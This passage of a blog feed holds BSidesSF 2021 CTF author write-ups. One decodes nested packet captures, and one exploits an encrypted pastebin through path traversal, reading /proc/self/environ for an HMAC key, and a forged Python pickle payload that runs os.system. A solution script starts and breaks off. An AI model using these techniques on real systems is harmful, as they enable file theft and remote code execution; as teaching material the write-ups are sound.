<p>To do the <em>decoding</em> we must substitute a CRLF (<code class="language-plaintext highlighter-rouge">\r\n</code>) pair with a plain
newline (<code class="language-plaintext highlighter-rouge">\n</code>), and a CRNUL (<code class="language-plaintext highlighter-rouge">\r\0</code>) with a plain carriage return (<code class="language-plaintext highlighter-rouge">\r</code>). This
can be done with the following python code:</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
</pre></td><td class="rouge-code"><pre><span class="n">data</span><span class="p">.</span><span class="n">replace</span><span class="p">(</span><span class="sa">b</span><span class="s">'</span><span class="se">\x0d\x0a</span><span class="s">'</span><span class="p">,</span> <span class="sa">b</span><span class="s">'</span><span class="se">\x0a</span><span class="s">'</span><span class="p">).</span><span class="n">replace</span><span class="p">(</span><span class="sa">b</span><span class="s">'</span><span class="se">\x0d\x00</span><span class="s">'</span><span class="p">,</span> <span class="sa">b</span><span class="s">'</span><span class="se">\x0d</span><span class="s">'</span><span class="p">)</span>
</pre></td></tr></tbody></table></code></pre></div></div>
<p>Note that the order is important, if you reverse the replacements, you could
cause corruption. If we apply this to the <code class="language-plaintext highlighter-rouge">4.zip</code> we got out of Wireshark, we
can then extract the zip file.</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
</pre></td><td class="rouge-code"><pre><span class="n">data</span> <span class="o">=</span> <span class="nb">open</span><span class="p">(</span><span class="s">'4.zip'</span><span class="p">,</span> <span class="s">'rb'</span><span class="p">).</span><span class="n">read</span><span class="p">()</span>
<span class="n">data</span> <span class="o">=</span> <span class="n">data</span><span class="p">.</span><span class="n">replace</span><span class="p">(</span><span class="sa">b</span><span class="s">'</span><span class="se">\x0d\x0a</span><span class="s">'</span><span class="p">,</span> <span class="sa">b</span><span class="s">'</span><span class="se">\x0a</span><span class="s">'</span><span class="p">).</span><span class="n">replace</span><span class="p">(</span><span class="sa">b</span><span class="s">'</span><span class="se">\x0d\x00</span><span class="s">'</span><span class="p">,</span> <span class="sa">b</span><span class="s">'</span><span class="se">\x0d</span><span class="s">'</span><span class="p">)</span>
<span class="nb">open</span><span class="p">(</span><span class="s">'4.zip'</span><span class="p">,</span> <span class="s">'wb'</span><span class="p">).</span><span class="n">write</span><span class="p">(</span><span class="n">data</span><span class="p">)</span>
</pre></td></tr></tbody></table></code></pre></div></div>
<p>Unzipping the decoded <code class="language-plaintext highlighter-rouge">4.zip</code>, we get <code class="language-plaintext highlighter-rouge">4.pcap</code>. We’ve now made it through half
the layers! (Unless, of course, the filenames are misleading…)</p>
<h2 id="layer-4-smb">Layer 4: SMB</h2>
<p>Opening <code class="language-plaintext highlighter-rouge">4.pcap</code> in Wireshark, we find a bunch of
<a href="https://en.wikipedia.org/wiki/Server_Message_Block">SMB</a> traffic. Fortunately,
encryption is not enabled, or we’d be in a world of trouble. This level is
pretty straightforward, as Wireshark has an Export Objects feature for us.
(File > Export Objects > SMB). We can directly export <code class="language-plaintext highlighter-rouge">3.zip</code>, and unzipping
it, we’re straight on to <code class="language-plaintext highlighter-rouge">3.pcap</code>.</p>
<p><img src="/img/bsidessf/nm_4_1.png" alt="Wireshark SMB" /></p>
<h2 id="layer-3-git-smart-protocol">Layer 3: Git Smart Protocol</h2>
<p>After we open <code class="language-plaintext highlighter-rouge">3.pcap</code>, we find traffic for the “Git Smart Protocol”. You might
be used to seeing Git traffic going over either HTTP or SSH, but it turns out
<a href="https://git-scm.com/book/en/v2/Git-Internals-Transfer-Protocols">Git has its own protocol for data
transfer</a>.</p>
<p>The good news is that, unlike rsync, the protocol is well documented. The bad
news is that it is more complex to extract data.</p>
<p>This data is also transmitted in chunks, but unlike rsync, the lengths are
encoded in 4 hexadecimal characters (so 16 bits only). The data contained in
the repository is transmitted as a Git packfile, which is <a href="https://git-scm.com/book/en/v2/Git-Internals-Packfiles">separately
described</a> and
<a href="https://git-scm.com/docs/pack-format">specified</a>.</p>
<p>At first, I just sought the start of a packfile (<code class="language-plaintext highlighter-rouge">PACK</code>), and looked for the 4
hex characters before for length, but there was a byte in between. It turns out
git also multiplexes data in order to pass the pack data and status updates at
the same time, so the format actually becomes:</p>
<ul>
<li>4 hex characters, length (note: includes the length itself!)</li>
<li>1 octet, identifying the ‘sideband’ (channel) in use</li>
<li>data</li>
</ul>
<p>So we need to find the start of the packfile, back up 5 bytes, then start
decoding to get the whole packfile. (Again, this is a hack to avoid decoding
the whole protocol.) Each time, we read the length, the sideband number, then
the data. If the sideband number is <code class="language-plaintext highlighter-rouge">1</code>, we concatenate this to get the raw
packfile data.</p>
<p>Once we have the packfile, we need to decode it and extract the objects from the
git repository. Since <em>every</em> layer has been a zipfile, I reason we can extract
a zipfile here as well, so I’ll hunt for objects in the packfile that are also
zipfiles.</p>
<p>I wrote a script in python to do this (in order to have an automated solution),
but you can even do this directly with git.</p>
<ol>
<li>Create an empty git repository.</li>
<li>In the git repository, run <code class="language-plaintext highlighter-rouge">git unpack-objects < PACKFILE</code></li>
<li>Run <code class="language-plaintext highlighter-rouge">git cat-file --batch-all-objects --batch-check</code> to find information
about all objects known to git. Only one is a blob, which is what git uses
to refer to a chunk of actual data.</li>
<li>Run <code class="language-plaintext highlighter-rouge">git cat-file -p BLOBID</code> to cat the contents of the blob (the raw
zipfile).</li>
</ol>
<p>For example:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
</pre></td><td class="rouge-code"><pre>% git init
Initialized empty Git repository in /ctf/3tmp/.git/
% git unpack-objects < ../3.pack
Unpacking objects: 100% (3/3), 24.23 KiB | 24.23 MiB/s, done.
% git cat-file --batch-all-objects --batch-check
4067275272fa8d87b431329240f99e98c8c84887 blob 24633
7695bd963881302327d1ca5ff1fc4c4f04f342a2 tree 33
9f3d8f7b17525ec77c3bcf00ce2a4b305d47c6c9 commit 223
% git cat-file -p 4067275272fa8d87b431329240f99e98c8c84887 > tmp.zip
% unzip tmp.zip
Archive: tmp.zip
inflating: 2.pcap
</pre></td></tr></tbody></table></code></pre></div></div>
<p>So, we have <code class="language-plaintext highlighter-rouge">2.pcap</code>, and we’re off to the next level!</p>
<h2 id="layer-2-dnscat2">Layer 2: dnscat2</h2>
<p>Upon opening <code class="language-plaintext highlighter-rouge">2.pcap</code> in Wireshark, we’ll notice a large quantity of DNS traffic
right off the bat. Using Wireshark’s DNS statistics, we see that it’s mostly
larger record types: TXT, MX, and CNAME.</p>
<p><img src="/img/bsidessf/nm_2_1.png" alt="DNS Statistics" /></p>
<p>The first few queries we see are for <code class="language-plaintext highlighter-rouge">dnscat2.c2.challenges.bsidessf.net</code>.
Looking up <a href="https://github.com/iagox86/dnscat2"><code class="language-plaintext highlighter-rouge">dnscat2</code></a> we find that it’s a
DNS tunneling protocol written by fellow BSidesSF CTF organizer
<a href="https://github.com/iagox86">@iagox86</a>. The good news is that it’s
well-documented: both the <a href="https://github.com/iagox86/dnscat2/blob/master/doc/protocol.md">transport
protocol</a> and
the <a href="https://github.com/iagox86/dnscat2/blob/master/doc/command_protocol.md">command
protocol</a>.</p>
<p>Looking at the command protocol, we see that the file data is sent in one
contiguous block, so if we can reconstruct the transport protocol, we can just
carve out the zipfile we expect at the next layer.</p>
<p>To reconstruct the transport protocol, we must take each DNS response and decode
it. Only 3 types of DNS records are being used: TXT, MX, and CNAME. For TXT
records, the entire response will be hex-encoded data. For the MX and CNAME
records, the response will be formatted like a valid DNS name by appending the
domain of the C2 server, so it will be <code class="language-plaintext highlighter-rouge"><hexstring>.c2.challenges.bsidessf.net</code>.
The hexstring may be split into multiple labels to fit the DNS limits on 63
bytes per label.</p>
<p>The simple way to handle all this is to delete <code class="language-plaintext highlighter-rouge">.</code> and
<code class="language-plaintext highlighter-rouge">.c2.challenges.bsidessf.net</code> from all the responses, so we just have the hex
data left. Then, in each response, it begins with the following:</p>
<ul>
<li>2 octets: packet_id</li>
<li>1 octet: message_type</li>
<li>2 octets: session_id</li>
<li>2 octets: seq number</li>
<li>2 octets: ack number</li>
</ul>
<p>This is followed by the actual data. If packets were out of order, repeated, or
dropped, we might need to deal with this, but I can work around it by just
dropping the first 9 octets from each message. I once again turned to scapy to
solve this problem:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
</pre></td><td class="rouge-code"><pre>def decode_bytes(b):
return bytes.fromhex(b.replace(b'.c2.challenges.bsidessf.net.', b'').replace(b'.', b'').decode('ascii'))
def c2_pkt(pkt):
if pkt.haslayer(scapy.DNSRR):
if isinstance(pkt[scapy.DNSRR].rdata, list):
return decode_bytes(b''.join(pkt[scapy.DNSRR].rdata))
return decode_bytes(pkt[scapy.DNSRR].rdata)
if pkt.haslayer(scapy.DNSRRMX):
return decode_bytes(pkt[scapy.DNSRRMX].exchange)
pcap = scapy.rdpcap('2.pcap')
pkts = [p for p in pcap
if p.haslayer(scapy.UDP) and
p.haslayer(scapy.DNS) and
p[scapy.DNSQR].qname != b'dnscat2.c2.challenges.bsidessf.net.']
c2_data = [c2_pkt(p) for p in pkts]
c2_data = [p[9:] for p in c2_data if p is not None]
data_stream = b''.join(c2_data)
cut_data = data_stream[data_stream.index(b'PK\x03\x04'):]
open('1.zip', 'wb').write(cut_data)
</pre></td></tr></tbody></table></code></pre></div></div>
<p>This gets us <code class="language-plaintext highlighter-rouge">1.zip</code>, which contains <code class="language-plaintext highlighter-rouge">1.pcap</code>, as we expect. Getting close now!</p>
<h2 id="layer-1-telnet">Layer 1: Telnet</h2>
<p>This <em>should</em> be the hardest layer by the tradition of Matryoshka. It turns out
that I went a little easy here. If we load <code class="language-plaintext highlighter-rouge">1.pcap</code> into Wireshark, we see a
single telnet connection.</p>
<p><img src="/img/bsidessf/nm_1_1.png" alt="Telnet Session" /></p>
<p>There’s no obvious flag, and the login password
appears to be <code class="language-plaintext highlighter-rouge">thisisnottheflag</code>, but there’s also a command to <code class="language-plaintext highlighter-rouge">cat</code> a bunch of
data to a <code class="language-plaintext highlighter-rouge">flag.txt</code> file:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
</pre></td><td class="rouge-code"><pre>echo -e "\x43\x54\x46\x7b\x62\x61\x62\x79\x5f\x77\x69\x72\x65\x73\x68\x61\x72\x6b\x5f\x64\x6f\x6f\x5f\x64\x6f\x6f\x5f\x64\x6f\x6f\x5f\x62\x61\x62\x79\x5f\x77\x69\x72\x65\x73\x68\x61\x72\x6b\x7d" > flag.txt
</pre></td></tr></tbody></table></code></pre></div></div>
<p>If we run this command ourselves, we’re rewarded:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
</pre></td><td class="rouge-code"><pre>% echo -e "\x43\x54\x46\x7b\x62\x61\x62\x79\x5f\x77\x69\x72\x65\x73\x68\x61\x72\x6b\x5f\x64\x6f\x6f\x5f\x64\x6f\x6f\x5f\x64\x6f\x6f\x5f\x62\x61\x62\x79\x5f\x77\x69\x72\x65\x73\x68\x61\x72\x6b\x7d"
CTF{baby_wireshark_doo_doo_doo_baby_wireshark}
</pre></td></tr></tbody></table></code></pre></div></div>
<h2 id="conclusion">Conclusion</h2>
<p>You can see the <a href="https://github.com/BSidesSF/ctf-2021-release/blob/main/netmatroyshka/solution/solution.py">automated solution
script</a>
and all the <a href="https://github.com/BSidesSF/ctf-2021-release/tree/main/netmatroyshka/layers">individual
layers</a>
in our <a href="https://github.com/BSidesSF/ctf-2021-release">open-source challenge
release</a>. Hopefully you found
this challenge fun, educational, and/or challenging. I promise no files were
corrupt when they were transferred, it just turns out that not all protocols are
so straightforward.</p>
BSidesSF 2021 CTF: Encrypted Bin (Author Writeup)2021-03-08T00:00:00-08:00https://systemoverlord.com/2021/03/08/bsidessf-2021-ctf-encryptbin-author-writeup
<p>I was the author for the BSidesSF 2021 CTF Challenge “Encrypted Bin”, which is
an encrypted pastebin service. The description from the scoreboard:</p>
<blockquote>
<p>I’ve always wanted to build an encrypted pastebin service.
Hope I’ve done it correctly. (Look in <code class="language-plaintext highlighter-rouge">/home/flag/</code> for the flag.)</p>
</blockquote>
<p>I thought I’d do a walk through of how I expected players to solve the
challenge, so I’ll write this as if I’m playing the challenge.</p>
<p>Visiting the web service, we find an upload page for text and not much else.
When we perform an upload, we see that we’re redirected to a page to view the
encrypted upload:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
</pre></td><td class="rouge-code"><pre>https://encryptbin-12f88e53.challenges.bsidessf.net/3440de91-bd99-418d-8742-61cfc8d0869c/jbWfZBIJMu75b7g6JL4obQ==!gAN9cQAoWAMAAABrZXlxAUMQoqUau03ia_Z8gIg38K6dH3ECWAIAAABpdnEDQwhQoP3W-UvIM3EEdS4=
</pre></td></tr></tbody></table></code></pre></div></div>
<p>If we look at the requests made in our browser, we notice that the contents of
the paste are loaded by a <a href="https://developer.mozilla.org/en-US/docs/Web/API/Fetch_API">Fetch
API</a> request to the
server at <code class="language-plaintext highlighter-rouge">/load</code>, with an example request like:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
</pre></td><td class="rouge-code"><pre>https://encryptbin-12f88e53.challenges.bsidessf.net/load?file=3440de91-bd99-418d-8742-61cfc8d0869c&key=jbWfZBIJMu75b7g6JL4obQ%3D%3D!gAN9cQAoWAMAAABrZXlxAUMQoqUau03ia_Z8gIg38K6dH3ECWAIAAABpdnEDQwhQoP3W-UvIM3EEdS4%3D
</pre></td></tr></tbody></table></code></pre></div></div>
<p>We note the UUID as the file parameter and the key parameter separately. If we
upload a few test files, we notice the entire file UUID changes each time, but
not all parts of the key parameter are changing, suggesting some structure to
the data:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
</pre></td><td class="rouge-code"><pre>jbWfZBIJMu75b7g6JL4obQ==!gAN9cQAoWAMAAABrZXlxAUMQoqUau03ia_Z8gIg38K6dH3ECWAIAAABpdnEDQwhQoP3W-UvIM3EEdS4=
4JhMLDj2_jqKB3Mga48sjw==!gAN9cQAoWAMAAABrZXlxAUMQyjuJPDmWctC2GqttcFotC3ECWAIAAABpdnEDQwiBbMqafv3GmXEEdS4=
3FPPCBGVktV6tYGNxQESpw==!gAN9cQAoWAMAAABrZXlxAUMQW77ObBYrougerdcyT8rDAnECWAIAAABpdnEDQwhdBIG6VnnufHEEdS4=
gSXVhGP0xqqZlY8LP4m10A==!gAN9cQAoWAMAAABrZXlxAUMQvQTrZZyOMy-dJnELRrR5cHECWAIAAABpdnEDQwiB1pRKE_s24XEEdS4=
O7ttlljfsYYQ1giJkh7r2w==!gAN9cQAoWAMAAABrZXlxAUMQTMN0Nv6FADGx4Db8a47O8nECWAIAAABpdnEDQwhbn4dopviAzHEEdS4=
N_xTGv4gndZemzXtglEzog==!gAN9cQAoWAMAAABrZXlxAUMQmErsXcdIRlSngzdd-VseZXECWAIAAABpdnEDQwgiKmU3EL20QnEEdS4=
</pre></td></tr></tbody></table></code></pre></div></div>
<p>The single bang (<code class="language-plaintext highlighter-rouge">!</code>) in the middle is likely a separator, and the data on both
sides appear to be base64-encoded. (Well, the URL-safe variant of <code class="language-plaintext highlighter-rouge">base64</code>,
where <code class="language-plaintext highlighter-rouge">-</code> and <code class="language-plaintext highlighter-rouge">_</code> are used in addition to <code class="language-plaintext highlighter-rouge">0-9A-Za-z</code>.) The left side is 16
bytes decoded, so 128 bits – could be some sort of key or MAC. It appears to
always be completely random. The right side, on the other hand, has some parts
that never change. This suggests some kind of structured data. If we decode
them, we see the characters “keyq” and “ivq” consistently, suggesting maybe
there’s some key/iv data there.</p>
<p>What if we try manipulating the data? If we tamper with most any byte in the
key parameter, we get the following response:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
</pre></td><td class="rouge-code"><pre><!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN">
<title>403 Forbidden</title>
<h1>Forbidden</h1>
<p>Error deserializing pickled data: Invalid MAC</p>
</pre></td></tr></tbody></table></code></pre></div></div>
<p>The error here tells us a couple of interesting things. Firstly, there’s a
<a href="https://en.wikipedia.org/wiki/Message_authentication_code">MAC</a> involved,
telling us the value is signed in some way.
Secondly, many might recognize “pickled data” as referring to the <a href="https://docs.python.org/3/library/pickle.html">Python pickle
module</a> (and it’s the first
search result for the term). The page even contains a warning:</p>
<blockquote>
<p>Warning The pickle module is not secure. Only unpickle data you trust.</p>
<p>It is possible to construct malicious pickle data which will execute arbitrary
code during unpickling. Never unpickle data that could have come from an
untrusted source, or that could have been tampered with.</p>
<p>Consider signing data with <code class="language-plaintext highlighter-rouge">hmac</code> if you need to ensure that it has not been
tampered with.</p>
</blockquote>
<p>The mention of <code class="language-plaintext highlighter-rouge">hmac</code> sounds similar to what we see in the error message, so it
sounds like we’re on the right path.</p>
<p>What if we play with the <code class="language-plaintext highlighter-rouge">file</code> parameter? Most things just end up with a 404
error. If we include <code class="language-plaintext highlighter-rouge">..</code>, as in a typical directory traversal attack (like
<code class="language-plaintext highlighter-rouge">../../../../../etc/passwd</code>), we find a different error, suggesting something
different is happening. Most probably, the file parameter is not just a key in
some database. If we just try an absolute path like <code class="language-plaintext highlighter-rouge">/etc/passwd</code>, we get a
bunch of binary data back. Since the file on disk is plaintext, we’re probably
getting the data “decrypted” by the key we provided. Can we reverse this?</p>
<p>Let’s try to figure out how we can decrypt this file. Let’s try unpickling the
data from one of the keys we’ve retrieved:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
</pre></td><td class="rouge-code"><pre>keyData = pickle.loads(base64.urlsafe_b64decode('gAN9cQAoWAMAAABrZXlxAUMQmErsXcdIRlSngzdd-VseZXECWAIAAABpdnEDQwgiKmU3EL20QnEEdS4='))
print(keyData)
{'key': b'\x98J\xec]\xc7HFT\xa7\x837]\xf9[\x1ee', 'iv': b'"*e7\x10\xbd\xb4B'}
</pre></td></tr></tbody></table></code></pre></div></div>
<p>We know from the home page that this uses AES-128, and its implemented in
Python3. There’s a couple of Python Crypto libraries (sorry!) but
<code class="language-plaintext highlighter-rouge">pycryptodome</code> is used here.</p>
<p>We can decrypt data we receive back using just a few lines of Python:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
</pre></td><td class="rouge-code"><pre>from Crypto.Cipher import AES
def decrypt_data(data, key, iv):
cip = AES.new(key, AES.MODE_CTR, nonce=iv)
return cip.decrypt(data)
</pre></td></tr></tbody></table></code></pre></div></div>
<p>Given this, we’re able to read arbitrary files from the server. If you’ve
checked the HTML source of the app, you’ll have seen <code class="language-plaintext highlighter-rouge">/home/ctf/main.py</code>
mentioned as the source. If you retrieve that, you’ll have the full source of
the application. I won’t reproduce it in full here, but will grab some relevant
sections:</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
13
14
</pre></td><td class="rouge-code"><pre><span class="k">def</span> <span class="nf">unpack_key</span><span class="p">(</span><span class="n">cfg</span><span class="p">,</span> <span class="n">data</span><span class="p">):</span>
<span class="s">"""Retrieve key and iv."""</span>
<span class="n">mac</span><span class="p">,</span> <span class="n">d</span> <span class="o">=</span> <span class="n">data</span><span class="p">.</span><span class="n">encode</span><span class="p">(</span><span class="s">'utf-8'</span><span class="p">).</span><span class="n">split</span><span class="p">(</span><span class="n">MAC_SEP</span><span class="p">)</span>
<span class="n">mac</span> <span class="o">=</span> <span class="n">base64</span><span class="p">.</span><span class="n">urlsafe_b64decode</span><span class="p">(</span><span class="n">mac</span><span class="p">)</span>
<span class="n">d</span> <span class="o">=</span> <span class="n">base64</span><span class="p">.</span><span class="n">urlsafe_b64decode</span><span class="p">(</span><span class="n">d</span><span class="p">)</span>
<span class="n">expected</span> <span class="o">=</span> <span class="n">hmac</span><span class="p">.</span><span class="n">new</span><span class="p">(</span>
<span class="n">cfg</span><span class="p">[</span><span class="s">'AUTH_KEY'</span><span class="p">].</span><span class="n">encode</span><span class="p">(</span><span class="s">'utf-8'</span><span class="p">),</span>
<span class="n">msg</span><span class="o">=</span><span class="n">d</span><span class="p">,</span>
<span class="n">digestmod</span><span class="o">=</span><span class="n">hashlib</span><span class="p">.</span><span class="n">sha256</span><span class="p">).</span><span class="n">digest</span><span class="p">()[:</span><span class="mi">16</span><span class="p">]</span>
<span class="k">if</span> <span class="ow">not</span> <span class="n">hmac</span><span class="p">.</span><span class="n">compare_digest</span><span class="p">(</span><span class="n">mac</span><span class="p">,</span> <span class="n">expected</span><span class="p">):</span>
<span class="n">app</span><span class="p">.</span><span class="n">logger</span><span class="p">.</span><span class="n">warn</span><span class="p">(</span><span class="s">'Invalid MAC: '</span> <span class="o">+</span> <span class="n">mac</span><span class="p">.</span><span class="nb">hex</span><span class="p">()</span> <span class="o">+</span> <span class="s">' '</span> <span class="o">+</span> <span class="n">expected</span><span class="p">.</span><span class="nb">hex</span><span class="p">())</span>
<span class="k">raise</span> <span class="nb">ValueError</span><span class="p">(</span><span class="s">'Error deserializing pickled data: Invalid MAC'</span><span class="p">)</span>
<span class="n">keyd</span> <span class="o">=</span> <span class="n">pickle</span><span class="p">.</span><span class="n">loads</span><span class="p">(</span><span class="n">d</span><span class="p">)</span>
<span class="k">return</span> <span class="n">keyd</span><span class="p">[</span><span class="s">'key'</span><span class="p">],</span> <span class="n">keyd</span><span class="p">[</span><span class="s">'iv'</span><span class="p">]</span>
</pre></td></tr></tbody></table></code></pre></div></div>
<p>You’ll also want to pull the related import <code class="language-plaintext highlighter-rouge">/home/ctf/config.py</code> (loaded at the
top of <code class="language-plaintext highlighter-rouge">main.py</code>):</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
</pre></td><td class="rouge-code"><pre><span class="kn">import</span> <span class="nn">os</span>
<span class="n">TEMPLATES_AUTO_RELOAD</span> <span class="o">=</span> <span class="bp">True</span>
<span class="c1"># App specific configs
</span><span class="n">BASE_DIR</span> <span class="o">=</span> <span class="s">"/tmp/ebin"</span>
<span class="n">AUTH_KEY</span> <span class="o">=</span> <span class="n">os</span><span class="p">.</span><span class="n">getenv</span><span class="p">(</span><span class="s">"AUTH_KEY"</span><span class="p">,</span> <span class="s">"--auth-key--"</span><span class="p">)</span>
<span class="n">FLAG_PATH</span> <span class="o">=</span> <span class="s">"/home/flag/flag.txt"</span>
</pre></td></tr></tbody></table></code></pre></div></div>
<p>We can try our current technique to read the flag file from
<code class="language-plaintext highlighter-rouge">/home/flag/flag.txt</code>, but that returns a 403 error.</p>
<p>We notice that the authentication key for the HMAC is configured here, but it
could be taken from the environment as well. We could try doing something with
this key, but instead, I’d rather just dump the environment. If you’re not
aware, you can access the environment variables for a running process on Linux
by reading <code class="language-plaintext highlighter-rouge">/proc/self/environ</code>. Each <code class="language-plaintext highlighter-rouge">NAME=VALUE</code> pair is null-terminated.
Retrieving this in the same manner as the source, we get the following value for
the <code class="language-plaintext highlighter-rouge">AUTH_KEY</code>:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
</pre></td><td class="rouge-code"><pre>AUTH_KEY=good_work_but_need_a_shell
</pre></td></tr></tbody></table></code></pre></div></div>
<p>Well, this suggests we need to execute code instead of just reading the flag
from the file.</p>
<p>At this point, we can use the <code class="language-plaintext highlighter-rouge">AUTH_KEY</code> and the code in <code class="language-plaintext highlighter-rouge">pack_key</code> to try to
construct our own valid key. Initially, I just set up a key and iv of my own
choosing to avoid the same “Invalid MAC” error. Just plugging in the <code class="language-plaintext highlighter-rouge">AUTH_KEY</code>
value and <code class="language-plaintext highlighter-rouge">key</code> and <code class="language-plaintext highlighter-rouge">iv</code> of my choice to <code class="language-plaintext highlighter-rouge">pack_key</code> worked fine. But all this
allows is choosing my own encryption key – not super useful at this point.</p>
<p>If you recall, there was a bit of a warning regarding the use of <code class="language-plaintext highlighter-rouge">pickle</code> and
the ability to execute arbitrary code during pickling. A Python class to
execute a shell command is as simple as this:</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
</pre></td><td class="rouge-code"><pre><span class="k">class</span> <span class="nc">Exp</span><span class="p">:</span>
<span class="k">def</span> <span class="nf">__init__</span><span class="p">(</span><span class="bp">self</span><span class="p">,</span> <span class="n">cmd</span><span class="p">):</span>
<span class="bp">self</span><span class="p">.</span><span class="n">cmd</span> <span class="o">=</span> <span class="n">cmd</span>
<span class="k">def</span> <span class="nf">__reduce__</span><span class="p">(</span><span class="bp">self</span><span class="p">):</span>
<span class="k">return</span> <span class="n">os</span><span class="p">.</span><span class="n">system</span><span class="p">,</span> <span class="p">(</span><span class="bp">self</span><span class="p">.</span><span class="n">cmd</span><span class="p">,</span> <span class="p">)</span>
</pre></td></tr></tbody></table></code></pre></div></div>
<p>While I could send a reverse shell, I decided to use this to build a script
that would just return output via output redirection to a file, then using the
arbitrary file read. Listing <code class="language-plaintext highlighter-rouge">/home/flag</code>, we see that <code class="language-plaintext highlighter-rouge">flag.txt</code> is only
readable by the <code class="language-plaintext highlighter-rouge">flag</code> user, but there’s also a program called <code class="language-plaintext highlighter-rouge">getflag</code> that is
<code class="language-plaintext highlighter-rouge">setuid()</code> to the user <code class="language-plaintext highlighter-rouge">flag</code>.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
</pre></td><td class="rouge-code"><pre>-r-------- 1 flag ctf 22 Feb 27 23:14 flag.txt
-r-s--x--- 1 flag ctf 2061426 Feb 27 23:14 getflag
</pre></td></tr></tbody></table></code></pre></div></div>
<p>By altering our exploit to run <code class="language-plaintext highlighter-rouge">/home/flag/getflag</code> and getting the output,
we’re able to get the contents of the flag file. Putting it all together gives
the following solution script. Hope you found this challenge interesting or
educational!</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
</pre></td><td class="rouge-code"><pre><span class="kn">import</span> <span class="nn">pickle</span>
<span class="kn">import</span> <span class="nn">requests</span>
<span class="kn">import</span> <span class="nn">sys</span>
<span class="kn">from</span> <span class="nn">Crypto.Cipher</span> <span class="kn">import</span> <span class="n">AES</span>
<span class="kn">import</span> <span class="nn">os.path</span>
<span class="kn">import</span> <span class="nn">base64</span>
<span class="kn">import</span> <span class="nn">hmac</span>
<span class="kn">import</span> <span class="nn">hashlib</span>
<span class="k">def</span> <span class="nf">main</span><span class="p">(</span><span class="n">target</span><span class="p">):</span>
<span class="n">src_path</span> <span class="o">=</span> <span class="n">get_source_path</span><span class="p">(</span><span class="n">target</span><span class="p">)</span>
<span class="k">print</span><span class="p">(</span><span class="s">'Source path:'</span><span class="p">,</span> <span class="n">src_path</span><span class="p">)</span>
<span class="n">usable_key</span> <span class="o">=</span> <span class="n">get_key_data</span><span class="p">(</span><span class="n">target</span><span class="p">)</span>
<span class="n">key</span><span class="p">,</span> <span class="n">iv</span> <span class="o">=</span> <span class="n">extract_key_nonce</span><span class="p">(</span><span class="n">usable_key</span><span class="p">)</span>
<span class="n">file_src</span> <span class="o">=</span> <span class="n">retrieve_path</span><span class="p">(</span><span class="n">target</span><span class="p">,</span> <span class="n">src_path</span><span class="p">,</span> <span class="n">usable_key</span><span class="p">)</span>
<span class="k">print</span><span class="p">(</span><span class="n">file_src</span><span class="p">.</span><span class="n">decode</span><span class="p">(</span><span class="s">'utf-8'</span><span class="p">))</span>
<span class="n">config_src</span> <span class="o">=</span> <span class="n">retrieve_path</span><span class="p">(</span>
<span class="n">target</span><span class="p">,</span> <span class="n">src_path</span><span class="p">.</span><span class="n">replace</span><span class="p">(</span><span class="s">'main.py'</span><span class="p">,</span> <span class="s">'config.py'</span><span class="p">),</span> <span class="n">usable_key</span><span class="p">)</span>
